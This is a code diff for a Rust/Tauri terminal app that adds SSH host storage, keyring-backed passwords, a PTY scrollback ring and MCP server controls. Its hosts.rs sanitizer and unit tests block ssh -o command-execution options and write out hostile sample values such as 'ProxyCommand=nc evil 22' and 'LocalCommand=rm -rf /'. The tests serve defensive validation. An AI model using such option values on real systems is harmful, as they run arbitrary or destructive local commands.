pending: tauri::State<'_, Arc<PendingActions>>,
|
||||
) -> Result<McpStatus, String> {
|
||||
{
|
||||
let g = handle.0.lock();
|
||||
if g.is_some() {
|
||||
return Ok(server_status(&handle));
|
||||
}
|
||||
}
|
||||
let ptys_arc: Arc<PtyManager> = (*ptys).clone();
|
||||
let state_arc: Arc<RwLock<McpState>> = (*state).clone();
|
||||
let pending_arc: Arc<PendingActions> = (*pending).clone();
|
||||
let running: RunningServer = mcp::start_server(app, ptys_arc, state_arc, pending_arc)
|
||||
.await
|
||||
.map_err(|e| e.to_string())?;
|
||||
{
|
||||
let mut g = handle.0.lock();
|
||||
*g = Some(running);
|
||||
}
|
||||
Ok(server_status(&handle))
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn mcp_stop(
|
||||
handle: tauri::State<'_, McpServerHandle>,
|
||||
) -> Result<McpStatus, String> {
|
||||
mcp::stop_server(&handle);
|
||||
Ok(server_status(&handle))
|
||||
}
|
||||
|
||||
/// Mint a fresh bearer token and persist it. If the server is currently
|
||||
/// running, restart it so the new token takes effect (the existing auth
|
||||
/// middleware captured the old token by value).
|
||||
#[tauri::command]
|
||||
pub async fn mcp_regenerate_token(
|
||||
app: AppHandle,
|
||||
ptys: tauri::State<'_, Arc<PtyManager>>,
|
||||
state: tauri::State<'_, Arc<RwLock<McpState>>>,
|
||||
handle: tauri::State<'_, McpServerHandle>,
|
||||
pending: tauri::State<'_, Arc<PendingActions>>,
|
||||
) -> Result<McpStatus, String> {
|
||||
let was_running = handle.0.lock().is_some();
|
||||
mcp::regenerate_token(&app).map_err(|e| e.to_string())?;
|
||||
if was_running {
|
||||
mcp::stop_server(&handle);
|
||||
let ptys_arc: Arc<PtyManager> = (*ptys).clone();
|
||||
let state_arc: Arc<RwLock<McpState>> = (*state).clone();
|
||||
let pending_arc: Arc<PendingActions> = (*pending).clone();
|
||||
let running: RunningServer =
|
||||
mcp::start_server(app, ptys_arc, state_arc, pending_arc)
|
||||
.await
|
||||
.map_err(|e| e.to_string())?;
|
||||
*handle.0.lock() = Some(running);
|
||||
}
|
||||
Ok(server_status(&handle))
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn mcp_status(
|
||||
handle: tauri::State<'_, McpServerHandle>,
|
||||
) -> Result<McpStatus, String> {
|
||||
Ok(server_status(&handle))
|
||||
}
|
||||
|
||||
/// Frontend pushes the gated mirror after every tree/host change. Backend
|
||||
/// caches it for MCP responses — the MCP server only ever sees what the
|
||||
/// frontend chose to mirror (default-deny per-leaf gate).
|
||||
#[tauri::command]
|
||||
pub async fn mcp_update_state(
|
||||
state: tauri::State<'_, Arc<RwLock<McpState>>>,
|
||||
mirror: McpMirror,
|
||||
) -> Result<(), String> {
|
||||
let mut g = state.write().await;
|
||||
g.mirror = mirror;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---- MCP action-reply + policy commands ------------------------------------
|
||||
|
||||
/// Frontend calls this after handling an `mcp://request` event.
|
||||
/// `result` is JSON on success, an error string on failure/rejection.
|
||||
/// If `request_id` is unknown (stale or already timed out), this is a no-op
|
||||
/// — we log a warning and return Ok so the frontend doesn't see an error.
|
||||
#[tauri::command]
|
||||
pub async fn mcp_action_reply(
|
||||
pending: tauri::State<'_, Arc<PendingActions>>,
|
||||
request_id: String,
|
||||
result: Result<serde_json::Value, String>,
|
||||
) -> Result<(), String> {
|
||||
let sender = pending.0.lock().remove(&request_id);
|
||||
match sender {
|
||||
Some(tx) => {
|
||||
// If the receiver has already been dropped (e.g. timeout fired),
|
||||
// the send will fail — that's fine, just ignore it.
|
||||
let _ = tx.send(result);
|
||||
tracing::debug!(request_id = %request_id, "mcp_action_reply: sent");
|
||||
}
|
||||
None => {
|
||||
tracing::warn!(
|
||||
request_id = %request_id,
|
||||
"mcp_action_reply: unknown request_id (stale or already timed out) — ignoring"
|
||||
);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Load the current MCP policy. Returns the policy as a JSON-serialisable
|
||||
/// struct so the settings UI can display and edit it.
|
||||
#[tauri::command]
|
||||
pub async fn mcp_policy_load(app: AppHandle) -> Result<McpPolicy, String> {
|
||||
crate::mcp_policy::load_or_init(&app).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// Persist an updated MCP policy. Validates structure by deserialising into
|
||||
/// McpPolicy before writing so a malformed payload can't corrupt the file.
|
||||
#[tauri::command]
|
||||
pub async fn mcp_policy_save(app: AppHandle, policy: McpPolicy) -> Result<(), String> {
|
||||
crate::mcp_policy::save(&app, &policy).map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// Return the human-readable labels of the compiled-in hard-deny rules so
|
||||
/// the Policy tab's "Always blocked" section can render them without
|
||||
/// duplicating the list in TypeScript (where it had already drifted from
|
||||
/// the backend twice this week).
|
||||
#[tauri::command]
|
||||
pub async fn mcp_hard_deny_labels() -> Result<Vec<&'static str>, String> {
|
||||
Ok(crate::mcp_policy::hard_deny_rules().to_vec())
|
||||
}
|
||||
|
|
|
|||
46
src-tauri/src/creds.rs
Normal file
46
src-tauri/src/creds.rs
Normal file
|
|
@ -0,0 +1,46 @@
|
|||
//! Saved SSH-host credentials. Backed by Windows Credential Manager via
|
||||
//! `keyring-core` + `windows-native-keyring-store` — passwords are DPAPI-
|
||||
//! encrypted at rest and scoped to the user account. Never written to
|
||||
//! disk in plaintext, never logged, never sent to the frontend.
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use keyring_core::{Entry, Error as KeyringError};
|
||||
|
||||
const SERVICE: &str = "tiletopia";
|
||||
|
||||
fn target_for(host_id: &str) -> String {
|
||||
format!("ssh-host:{host_id}")
|
||||
}
|
||||
|
||||
fn entry(host_id: &str) -> Result<Entry> {
|
||||
Entry::new(SERVICE, &target_for(host_id))
|
||||
.with_context(|| format!("create keyring entry for {host_id}"))
|
||||
}
|
||||
|
||||
pub fn set(host_id: &str, password: &str) -> Result<()> {
|
||||
entry(host_id)?
|
||||
.set_password(password)
|
||||
.with_context(|| format!("write credential for {host_id}"))
|
||||
}
|
||||
|
||||
pub fn get(host_id: &str) -> Result<Option<String>> {
|
||||
match entry(host_id)?.get_password() {
|
||||
Ok(p) => Ok(Some(p)),
|
||||
Err(KeyringError::NoEntry) => Ok(None),
|
||||
Err(e) => Err(anyhow::Error::from(e)
|
||||
.context(format!("read credential for {host_id}"))),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn delete(host_id: &str) -> Result<()> {
|
||||
match entry(host_id)?.delete_credential() {
|
||||
Ok(()) => Ok(()),
|
||||
Err(KeyringError::NoEntry) => Ok(()),
|
||||
Err(e) => Err(anyhow::Error::from(e)
|
||||
.context(format!("delete credential for {host_id}"))),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn has(host_id: &str) -> bool {
|
||||
matches!(get(host_id), Ok(Some(_)))
|
||||
}
|
||||
291
src-tauri/src/hosts.rs
Normal file
291
src-tauri/src/hosts.rs
Normal file
|
|
@ -0,0 +1,291 @@
|
|||
//! Saved SSH hosts. Persisted to `%APPDATA%\com.megaproxy.tiletopia\hosts.json`
|
||||
//! alongside `workspace.json`. The frontend owns the in-memory state and the
|
||||
//! add/edit/delete UX; the backend just reads/writes the whole list.
|
||||
|
||||
use std::path::PathBuf;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Manager};
|
||||
|
||||
const HOSTS_FILE: &str = "hosts.json";
|
||||
|
||||
/// What `list_ssh_hosts` returns: the saved host plus a flag derived from
|
||||
/// keyring (true iff a password is stored under this host's id). The flag
|
||||
/// is read-only — saving a host doesn't touch the credential store. See
|
||||
/// the dedicated set/delete password commands for that.
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SshHostView {
|
||||
#[serde(flatten)]
|
||||
pub host: SshHost,
|
||||
#[serde(rename = "hasPassword")]
|
||||
pub has_password: bool,
|
||||
}
|
||||
|
||||
/// One saved host. Fields beyond `hostname` are optional; ssh.exe will fall
|
||||
/// back to `~/.ssh/config` and its own defaults for anything we don't pass.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct SshHost {
|
||||
pub id: String,
|
||||
pub label: String,
|
||||
pub hostname: String,
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub user: Option<String>,
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub port: Option<u16>,
|
||||
#[serde(
|
||||
default,
|
||||
rename = "identityFile",
|
||||
skip_serializing_if = "Option::is_none"
|
||||
)]
|
||||
pub identity_file: Option<String>,
|
||||
#[serde(
|
||||
default,
|
||||
rename = "jumpHost",
|
||||
skip_serializing_if = "Option::is_none"
|
||||
)]
|
||||
pub jump_host: Option<String>,
|
||||
#[serde(
|
||||
default,
|
||||
rename = "extraArgs",
|
||||
skip_serializing_if = "Option::is_none"
|
||||
)]
|
||||
pub extra_args: Option<Vec<String>>,
|
||||
}
|
||||
|
||||
fn hosts_path(app: &AppHandle) -> Result<PathBuf> {
|
||||
let dir = app
|
||||
.path()
|
||||
.app_config_dir()
|
||||
.map_err(|e| anyhow::anyhow!("app_config_dir: {e}"))?;
|
||||
Ok(dir.join(HOSTS_FILE))
|
||||
}
|
||||
|
||||
pub fn load(app: &AppHandle) -> Result<Vec<SshHost>> {
|
||||
let path = hosts_path(app)?;
|
||||
if !path.exists() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
let raw = std::fs::read_to_string(&path).context("read hosts.json")?;
|
||||
let hosts: Vec<SshHost> = serde_json::from_str(&raw).context("parse hosts.json")?;
|
||||
Ok(hosts)
|
||||
}
|
||||
|
||||
pub fn save(app: &AppHandle, hosts: &[SshHost]) -> Result<()> {
|
||||
let path = hosts_path(app)?;
|
||||
if let Some(dir) = path.parent() {
|
||||
std::fs::create_dir_all(dir).context("create_dir_all")?;
|
||||
}
|
||||
let tmp = path.with_extension("json.tmp");
|
||||
let json = serde_json::to_string_pretty(hosts).context("serialize hosts")?;
|
||||
std::fs::write(&tmp, json.as_bytes()).context("write tmp hosts.json")?;
|
||||
// `std::fs::rename` is atomic on Unix and uses MoveFileEx with
|
||||
// REPLACE_EXISTING on Windows — same pattern as save_workspace.
|
||||
std::fs::rename(&tmp, &path).context("rename hosts.json")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Reject `-o` options that would let an attacker turn an SSH connect into
|
||||
/// local command execution. CVE-2023-51385 class — `ProxyCommand`,
|
||||
/// `LocalCommand`, `KnownHostsCommand`, and `PermitLocalCommand=yes` are all
|
||||
/// shell-invocation primitives that fire on `ssh.exe` startup regardless of
|
||||
/// what happens on the remote side. The MCP `add_host` tool runs this on
|
||||
/// any extraArgs Claude tries to save; the host manager UI is unrestricted
|
||||
/// since the user has full agency over manually-typed hosts.
|
||||
///
|
||||
/// Recognises both `-o KEY=VAL` (two args) and `-oKEY=VAL` (joined),
|
||||
/// case-insensitive on the key. Returns Ok on safe args; Err with the
|
||||
/// offending arg + a human-readable reason otherwise.
|
||||
pub fn sanitize_extra_args(args: &[String]) -> Result<(), String> {
|
||||
let mut i = 0;
|
||||
while i < args.len() {
|
||||
let arg = &args[i];
|
||||
if arg == "-o" {
|
||||
if let Some(next) = args.get(i + 1) {
|
||||
if let Some(reason) = check_o_value(next) {
|
||||
return Err(format!("rejected '-o {next}': {reason}"));
|
||||
}
|
||||
}
|
||||
i += 2;
|
||||
continue;
|
||||
}
|
||||
if let Some(rest) = arg.strip_prefix("-o") {
|
||||
if let Some(reason) = check_o_value(rest) {
|
||||
return Err(format!("rejected '{arg}': {reason}"));
|
||||
}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Inspect an `-o` payload (the part after `-o`, e.g. `ProxyCommand=...`
|
||||
/// or `ProxyCommand ...`). Returns Some(reason) if the key is one of the
|
||||
/// command-execution primitives; None for everything else.
|
||||
fn check_o_value(spec: &str) -> Option<&'static str> {
|
||||
let split = spec
|
||||
.find(|c: char| c == '=' || c.is_whitespace())
|
||||
.unwrap_or(spec.len());
|
||||
let key = &spec[..split];
|
||||
let value = spec[split..].trim_start_matches(|c: char| c == '=' || c.is_whitespace());
|
||||
match key.to_ascii_lowercase().as_str() {
|
||||
"proxycommand" => {
|
||||
Some("ProxyCommand runs a shell command on connect (local RCE primitive)")
|
||||
}
|
||||
"localcommand" => {
|
||||
Some("LocalCommand runs a shell command on connect (local RCE primitive)")
|
||||
}
|
||||
"knownhostscommand" => Some(
|
||||
"KnownHostsCommand runs a shell command at handshake (CVE-2023-51385 class)",
|
||||
),
|
||||
"permitlocalcommand" if value.eq_ignore_ascii_case("yes") => {
|
||||
Some("PermitLocalCommand=yes enables LocalCommand RCE")
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn args(a: &[&str]) -> Vec<String> {
|
||||
a.iter().map(|s| s.to_string()).collect()
|
||||
}
|
||||
|
||||
// ---- positive cases (safe, must pass) ---------------------------------
|
||||
|
||||
#[test]
|
||||
fn empty_args_ok() {
|
||||
assert!(sanitize_extra_args(&[]).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn server_alive_interval_ok() {
|
||||
assert!(sanitize_extra_args(&args(&["-o", "ServerAliveInterval=30"])).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn server_alive_interval_joined_ok() {
|
||||
assert!(sanitize_extra_args(&args(&["-oServerAliveInterval=30"])).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn batch_mode_ok() {
|
||||
assert!(sanitize_extra_args(&args(&["-o", "BatchMode=yes"])).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn strict_host_key_checking_ok() {
|
||||
assert!(
|
||||
sanitize_extra_args(&args(&["-o", "StrictHostKeyChecking=accept-new"])).is_ok()
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn permit_local_command_no_ok() {
|
||||
// PermitLocalCommand=no (or anything other than yes) is the default
|
||||
// and harmless.
|
||||
assert!(sanitize_extra_args(&args(&["-o", "PermitLocalCommand=no"])).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn flag_without_o_ok() {
|
||||
// -F /tmp/conf and -i ~/.ssh/key are legitimate ssh flags; we only
|
||||
// gate -o options.
|
||||
assert!(sanitize_extra_args(&args(&["-v", "-F", "/etc/ssh/ssh_config"])).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn many_safe_options_ok() {
|
||||
assert!(sanitize_extra_args(&args(&[
|
||||
"-o", "ServerAliveInterval=30",
|
||||
"-o", "ServerAliveCountMax=3",
|
||||
"-o", "Compression=yes",
|
||||
]))
|
||||
.is_ok());
|
||||
}
|
||||
|
||||
// ---- negative cases (must reject) -------------------------------------
|
||||
|
||||
#[test]
|
||||
fn proxy_command_rejected() {
|
||||
let err = sanitize_extra_args(&args(&["-o", "ProxyCommand=ssh evil exec %h %p"]))
|
||||
.unwrap_err();
|
||||
assert!(err.contains("ProxyCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn proxy_command_joined_rejected() {
|
||||
let err = sanitize_extra_args(&args(&["-oProxyCommand=nc evil 22"])).unwrap_err();
|
||||
assert!(err.contains("ProxyCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn proxy_command_lowercase_rejected() {
|
||||
// SSH treats -o keys case-insensitively; sanitiser must too.
|
||||
let err = sanitize_extra_args(&args(&["-o", "proxycommand=evil"])).unwrap_err();
|
||||
assert!(err.contains("ProxyCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn proxy_command_mixed_case_rejected() {
|
||||
let err = sanitize_extra_args(&args(&["-o", "PROXYCommand=evil"])).unwrap_err();
|
||||
assert!(err.contains("ProxyCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn proxy_command_space_separated_rejected() {
|
||||
// -o supports both KEY=VAL and "KEY VAL" forms.
|
||||
let err =
|
||||
sanitize_extra_args(&args(&["-o", "ProxyCommand /bin/evil"])).unwrap_err();
|
||||
assert!(err.contains("ProxyCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn local_command_rejected() {
|
||||
let err =
|
||||
sanitize_extra_args(&args(&["-o", "LocalCommand=rm -rf /"])).unwrap_err();
|
||||
assert!(err.contains("LocalCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn local_command_joined_rejected() {
|
||||
let err = sanitize_extra_args(&args(&["-oLocalCommand=evil"])).unwrap_err();
|
||||
assert!(err.contains("LocalCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn known_hosts_command_rejected() {
|
||||
let err =
|
||||
sanitize_extra_args(&args(&["-o", "KnownHostsCommand=evil"])).unwrap_err();
|
||||
assert!(err.contains("KnownHostsCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn permit_local_command_yes_rejected() {
|
||||
// PermitLocalCommand=yes unlocks the LocalCommand vector — must be
|
||||
// rejected even though LocalCommand itself isn't set in this snippet.
|
||||
let err =
|
||||
sanitize_extra_args(&args(&["-o", "PermitLocalCommand=yes"])).unwrap_err();
|
||||
assert!(err.contains("PermitLocalCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn bad_arg_in_middle_rejected() {
|
||||
let err = sanitize_extra_args(&args(&[
|
||||
"-o", "ServerAliveInterval=30",
|
||||
"-o", "ProxyCommand=evil",
|
||||
"-o", "Compression=yes",
|
||||
]))
|
||||
.unwrap_err();
|
||||
assert!(err.contains("ProxyCommand"), "err={err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn trailing_dash_o_without_value_ok() {
|
||||
// -o with no following value is malformed; ssh will reject it. We
|
||||
// just skip past so we don't panic on the index.
|
||||
assert!(sanitize_extra_args(&args(&["-o"])).is_ok());
|
||||
}
|
||||
}
|
||||
|
|
@ -1,9 +1,23 @@
|
|||
//! Library entry point. `main.rs` calls `run()`.
|
||||
|
||||
mod commands;
|
||||
mod creds;
|
||||
mod hosts;
|
||||
mod mcp;
|
||||
mod mcp_policy;
|
||||
mod pty;
|
||||
mod window_state;
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
// `Manager` trait must be in scope to call `.app_handle()` on the `&Window`
|
||||
// passed to the `on_window_event` closure below. Same pattern as the
|
||||
// `Emitter` trait needed for `.emit()` (see 2026-05-26 PR-1 session log).
|
||||
use tauri::Manager;
|
||||
|
||||
use crate::mcp::{McpServerHandle, McpState, PendingActions};
|
||||
use crate::pty::PtyManager;
|
||||
use crate::window_state::{PendingInits, WindowsState, MAIN_WINDOW_LABEL};
|
||||
|
||||
pub fn run() {
|
||||
let _ = tracing_subscriber::fmt()
|
||||
|
|
@ -14,18 +28,131 @@ pub fn run() {
|
|||
.with_writer(std::io::stderr)
|
||||
.try_init();
|
||||
|
||||
// keyring-core 1.x requires explicit store registration before any
|
||||
// Entry::new() call. We're Windows-only so the Credential Manager
|
||||
// backend is the only choice. Failure here means SSH passwords won't
|
||||
// be retrievable — log and continue (host configs still work without
|
||||
// saved passwords; users just see the prompt and type it manually).
|
||||
match windows_native_keyring_store::Store::new() {
|
||||
Ok(store) => keyring_core::set_default_store(store),
|
||||
Err(e) => tracing::warn!("keyring store init failed: {e}"),
|
||||
}
|
||||
|
||||
// PtyManager and McpState are shared with the MCP server, so register
|
||||
// them as Arc<T> rather than the plain T. Tauri commands access them
|
||||
// via `tauri::State<'_, Arc<T>>` and deref / clone as needed.
|
||||
let ptys: Arc<PtyManager> = Arc::new(PtyManager::new());
|
||||
let mcp_state: Arc<tokio::sync::RwLock<McpState>> =
|
||||
Arc::new(tokio::sync::RwLock::new(McpState::default()));
|
||||
// Pending action registry — separate managed state so mcp_action_reply can
|
||||
// grab it without needing to lock McpState or reach into TileService.
|
||||
let pending_actions: Arc<PendingActions> = Arc::new(PendingActions::default());
|
||||
// Cross-window workspace aggregator: every window pushes its tab list
|
||||
// here; backend debounces + writes the merged envelope to workspace.json.
|
||||
let windows_state: Arc<WindowsState> = Arc::new(WindowsState::default());
|
||||
// Pane-transfer pending-init registry: source window stashes a payload
|
||||
// keyed by the new window's label; target window pulls it during mount.
|
||||
let pending_inits: Arc<PendingInits> = Arc::new(PendingInits::default());
|
||||
|
||||
let windows_state_for_event = Arc::clone(&windows_state);
|
||||
let pending_inits_for_event = Arc::clone(&pending_inits);
|
||||
|
||||
tauri::Builder::default()
|
||||
.plugin(tauri_plugin_clipboard_manager::init())
|
||||
.manage(PtyManager::new())
|
||||
.plugin(tauri_plugin_opener::init())
|
||||
.manage(ptys)
|
||||
.manage(mcp_state)
|
||||
.manage(McpServerHandle::default())
|
||||
.manage(pending_actions)
|
||||
.manage(windows_state)
|
||||
.manage(pending_inits)
|
||||
.on_window_event(move |window, event| {
|
||||
let label = window.label().to_string();
|
||||
|
||||
// Window-lifecycle tracing for the multi-window close behavior.
|
||||
// Silent at the default `info` level; run with
|
||||
// `RUST_LOG=tiletopia=debug` to confirm the event sequence when a
|
||||
// window closes (which windows the runtime still tracks, whether a
|
||||
// close triggers an app-exit). Verified against tauri-runtime-wry
|
||||
// 2.11: closing a non-last window emits NO ExitRequested, so other
|
||||
// windows survive; only the last window's Destroyed triggers exit.
|
||||
match event {
|
||||
tauri::WindowEvent::CloseRequested { .. }
|
||||
| tauri::WindowEvent::Destroyed => {
|
||||
let open: Vec<String> = window
|
||||
.app_handle()
|
||||
.webview_windows()
|
||||
.keys()
|
||||
.cloned()
|
||||
.collect();
|
||||
tracing::debug!("window {event:?} label={label} open_windows={open:?}");
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// When a non-main window closes, drop its workspaces from the
|
||||
// aggregator AND any unconsumed pending-init payload so neither
|
||||
// resurrect on next launch. Matches Chrome-style "closing a
|
||||
// detached window discards its tabs" intent.
|
||||
if let tauri::WindowEvent::CloseRequested { .. } = event {
|
||||
if label != MAIN_WINDOW_LABEL {
|
||||
pending_inits_for_event.by_label.lock().remove(&label);
|
||||
windows_state_for_event
|
||||
.forget(window.app_handle().clone(), &label);
|
||||
}
|
||||
}
|
||||
})
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
commands::list_distros,
|
||||
commands::spawn_pane,
|
||||
commands::write_to_pane,
|
||||
commands::resize_pane,
|
||||
commands::kill_pane,
|
||||
commands::mark_pane_transferring,
|
||||
commands::claim_pane,
|
||||
commands::get_pane_ring,
|
||||
commands::create_pane_window,
|
||||
commands::take_pending_window_init,
|
||||
commands::push_window_workspaces,
|
||||
commands::save_workspace,
|
||||
commands::load_workspace,
|
||||
commands::list_ssh_hosts,
|
||||
commands::save_ssh_hosts,
|
||||
commands::set_host_password,
|
||||
commands::delete_host_password,
|
||||
commands::has_host_password,
|
||||
commands::mcp_start,
|
||||
commands::mcp_stop,
|
||||
commands::mcp_status,
|
||||
commands::mcp_regenerate_token,
|
||||
commands::mcp_update_state,
|
||||
commands::mcp_action_reply,
|
||||
commands::mcp_policy_load,
|
||||
commands::mcp_policy_save,
|
||||
commands::mcp_hard_deny_labels,
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
.build(tauri::generate_context!())
|
||||
.expect("error while building tauri application")
|
||||
.run(|app_handle, event| {
|
||||
// Keep the process alive as long as ANY window is open. Every
|
||||
// window (main + drag-out "daughter" windows) shares one process,
|
||||
// and every PTY is owned by the single PtyManager in it. Tauri/wry
|
||||
// emits `ExitRequested { code: None }` only when the LAST window is
|
||||
// destroyed (tauri-runtime-wry 2.11 emits it solely when the window
|
||||
// store goes empty); an explicit `AppHandle::exit(n)` carries
|
||||
// `code: Some(n)`. By the time this fires, the closed window has
|
||||
// already been removed from `webview_windows()`, so the check is
|
||||
// accurate. We only ever reach the empty-set case here, but guard
|
||||
// defensively: if any window somehow remains, refuse the exit so a
|
||||
// stray close can't tear the process down and orphan live PTYs.
|
||||
// An explicit exit (Some) is always honored.
|
||||
if let tauri::RunEvent::ExitRequested { code, api, .. } = event {
|
||||
let open: Vec<String> =
|
||||
app_handle.webview_windows().keys().cloned().collect();
|
||||
tracing::debug!("RunEvent::ExitRequested code={code:?} open_windows={open:?}");
|
||||
if code.is_none() && !open.is_empty() {
|
||||
api.prevent_exit();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
|
|
|||
1536
src-tauri/src/mcp.rs
Normal file
1536
src-tauri/src/mcp.rs
Normal file
File diff suppressed because it is too large
Load diff
1403
src-tauri/src/mcp_policy.rs
Normal file
1403
src-tauri/src/mcp_policy.rs
Normal file
File diff suppressed because it is too large
Load diff
|
|
@ -1,20 +1,95 @@
|
|||
//! PTY backend. Spawns `wsl.exe` (or any command) through portable-pty,
|
||||
//! reads its output on a background thread, and forwards chunks to the
|
||||
//! frontend as `pane://{id}/data` events.
|
||||
//! PTY backend. Spawns a shell (`wsl.exe`, `powershell.exe`, or `ssh.exe`)
|
||||
//! through portable-pty, reads its output on a background thread, and
|
||||
//! forwards chunks to the frontend as `pane://{id}/data` events.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::collections::{HashMap, VecDeque};
|
||||
use std::io::{Read, Write};
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use base64::{engine::general_purpose::STANDARD as B64, Engine as _};
|
||||
use parking_lot::Mutex;
|
||||
use portable_pty::{CommandBuilder, MasterPty, PtySize, native_pty_system};
|
||||
use serde::Serialize;
|
||||
use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
|
||||
use crate::creds;
|
||||
|
||||
pub type PaneId = u64;
|
||||
|
||||
/// Discriminated union describing what to spawn into a fresh PTY. Serialized
|
||||
/// as `{ kind: "wsl" | "powershell" | "ssh", ... }` from the frontend.
|
||||
/// Also reused as the schema for the MCP `spawn_pane` tool — `JsonSchema`
|
||||
/// lets rmcp render it for Claude; `Serialize` lets the backend bounce it
|
||||
/// back into the `mcp://request` event payload for the frontend handler.
|
||||
#[derive(Debug, Clone, Deserialize, Serialize, schemars::JsonSchema)]
|
||||
#[serde(tag = "kind", rename_all = "lowercase")]
|
||||
pub enum SpawnSpec {
|
||||
Wsl {
|
||||
distro: Option<String>,
|
||||
cwd: Option<String>,
|
||||
},
|
||||
Powershell,
|
||||
Ssh {
|
||||
host: String,
|
||||
user: Option<String>,
|
||||
port: Option<u16>,
|
||||
#[serde(rename = "identityFile")]
|
||||
identity_file: Option<String>,
|
||||
#[serde(rename = "jumpHost")]
|
||||
jump_host: Option<String>,
|
||||
#[serde(rename = "extraArgs")]
|
||||
extra_args: Option<Vec<String>>,
|
||||
/// SshHost.id (if any) — backend uses this to fetch a saved
|
||||
/// password from keyring at spawn time. Never sent back to the
|
||||
/// frontend.
|
||||
#[serde(rename = "hostId")]
|
||||
host_id: Option<String>,
|
||||
},
|
||||
}
|
||||
|
||||
/// Type alias for the shared writer handle. Wrapped in Arc<Mutex<>> so the
|
||||
/// reader thread can also take it briefly to autotype a saved password at
|
||||
/// the SSH prompt.
|
||||
type SharedWriter = Arc<Mutex<Box<dyn Write + Send>>>;
|
||||
|
||||
/// Per-pane scrollback ring exposed to the MCP server. Capped — we drop the
|
||||
/// oldest bytes when full. `seq` is a monotonic byte counter that wraps at
|
||||
/// u64; the MCP `read_pane` tool uses it for incremental polling and the
|
||||
/// `wait_for_idle` tool uses it to detect silence.
|
||||
pub const PANE_RING_CAPACITY: usize = 256 * 1024;
|
||||
|
||||
pub struct PaneRing {
|
||||
buf: VecDeque<u8>,
|
||||
seq: u64,
|
||||
}
|
||||
|
||||
impl PaneRing {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
buf: VecDeque::with_capacity(PANE_RING_CAPACITY),
|
||||
seq: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn push(&mut self, bytes: &[u8]) {
|
||||
for &b in bytes {
|
||||
if self.buf.len() == PANE_RING_CAPACITY {
|
||||
self.buf.pop_front();
|
||||
}
|
||||
self.buf.push_back(b);
|
||||
}
|
||||
self.seq = self.seq.wrapping_add(bytes.len() as u64);
|
||||
}
|
||||
|
||||
/// Snapshot: current contents (oldest-first) + the seq counter.
|
||||
pub fn snapshot(&self) -> (Vec<u8>, u64) {
|
||||
(self.buf.iter().copied().collect(), self.seq)
|
||||
}
|
||||
}
|
||||
|
||||
/// What we keep alive for each spawned PTY.
|
||||
///
|
||||
/// `master` stays in scope to keep the PTY alive; we never write through it
|
||||
|
|
@ -23,14 +98,27 @@ pub type PaneId = u64;
|
|||
struct PaneHandle {
|
||||
#[allow(dead_code)]
|
||||
master: Box<dyn MasterPty + Send>,
|
||||
writer: Box<dyn Write + Send>,
|
||||
writer: SharedWriter,
|
||||
#[allow(dead_code)]
|
||||
child: Box<dyn portable_pty::Child + Send + Sync>,
|
||||
/// Same Arc the reader thread appends into; the MCP server reads via
|
||||
/// {@link PtyManager::ring}.
|
||||
ring: Arc<Mutex<PaneRing>>,
|
||||
}
|
||||
|
||||
pub struct PtyManager {
|
||||
panes: Mutex<HashMap<PaneId, PaneHandle>>,
|
||||
next_id: AtomicU64,
|
||||
/// Per-pane "this PTY is mid-transfer between windows; do not kill it
|
||||
/// even if some window's XtermPane unmounts" refcount. Incremented by
|
||||
